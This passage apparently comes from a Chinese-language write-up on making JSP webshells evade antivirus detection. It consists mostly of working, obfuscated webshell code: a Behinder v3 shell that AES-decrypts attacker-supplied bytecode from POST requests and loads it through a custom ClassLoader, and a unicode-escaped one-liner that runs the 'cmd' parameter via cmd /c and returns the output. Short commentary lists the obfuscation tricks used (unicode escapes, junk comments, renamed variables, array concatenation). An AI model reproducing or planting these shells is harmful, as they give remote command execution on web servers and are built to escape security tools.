govbFohFZegpP(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 govSTPaTxj9Cy) {
super(govSTPaTxj9Cy);
}
public Class gov0LM0qAO(byte[] govp6K) {
return super.d\uuuuuuuuu0065fineClass/*govyCWw7tEj4*/(govp6K,0,govp6K.length);
}
}
%><%
out.println("Random Garbage Data:");
Random govpLxi41enKLRS = new Random();
int gov8d1G7zrZuT = govpLxi41enKLRS.nextInt(1234);
int govqhC = govpLxi41enKLRS.nextInt(5678);
int govz8SjzztuyMT6 = govpLxi41enKLRS.nextInt(1357);
int govjX5i1ary86 = govpLxi41enKLRS.nextInt(2468);
out.println(gov8d1G7zrZuT+","+govqhC+","+govz8SjzztuyMT6+","+govjX5i1ary86);
String[] govebQEHmMqCiJ = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};
String govotxgGClN = govebQEHmMqCiJ[1] + govebQEHmMqCiJ[3] + govebQEHmMqCiJ[5] + govebQEHmMqCiJ[7];
if (request.getMethod().equals(govotxgGClN)) {
String govyB5BZtlcfpa2 = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()/*govaEVJd89lH1*/./*gov0A*/decodeBuffer/*govA5YnMgxXOhY*/("MTZhY2FjYzA1YWFmYWY2Nw=="));
session.setAttribute("u", govyB5BZtlcfpa2);
Cipher govMtIkep8PS = Cipher.getInstance("AES");
govMtIkep8PS.init(((gov8d1G7zrZuT * govqhC + govz8SjzztuyMT6 - govjX5i1ary86) * 0) + 3 - 1, new SecretKeySpec(govyB5BZtlcfpa2.getBytes(), "AES"));
new govbFohFZegpP(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).gov0LM0qAO(govMtIkep8PS.doFinal(new sun.misc./*govHI8lLb4zi*/B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*govNgwTOGAt*/decodeBuffer(request.getReader().readLine()))).newInstance()/*gov8uWccbL8T*/.equals(pageContext);
}
%>
大概利用了unicode混淆(这是由于java解释器会在编译之前就把unicode解析),一些注释的混淆,变量名混淆,数组拼接混淆,编码的混淆
同样这里作者也是免杀的冰蝎V3默认的shell
GBByPass¶
github:czz1233/GBByPass: 冰蝎 哥斯拉 WebShell bypass (github.com)
免杀冰蝎用的是ByPassBehinder的项目,这里我们看看免杀jsp一句话
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%
try {
final String s = request.getParameter("cmd");
\uuuuuuuuuuuuuuuuuuuu0050\u0072\u006f\u0063\u0065\u0073\u0073 process = new \uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu0050\u0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072().\u0063\u006f\u006d\u006d\u0061\u006e\u0064(new String[]{ "cmd", "/c", s}).start();
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
} catch (Exception e) {
e.printStackTrace();
}
%>
可以看到免杀和ByPassBehinder思路大致相同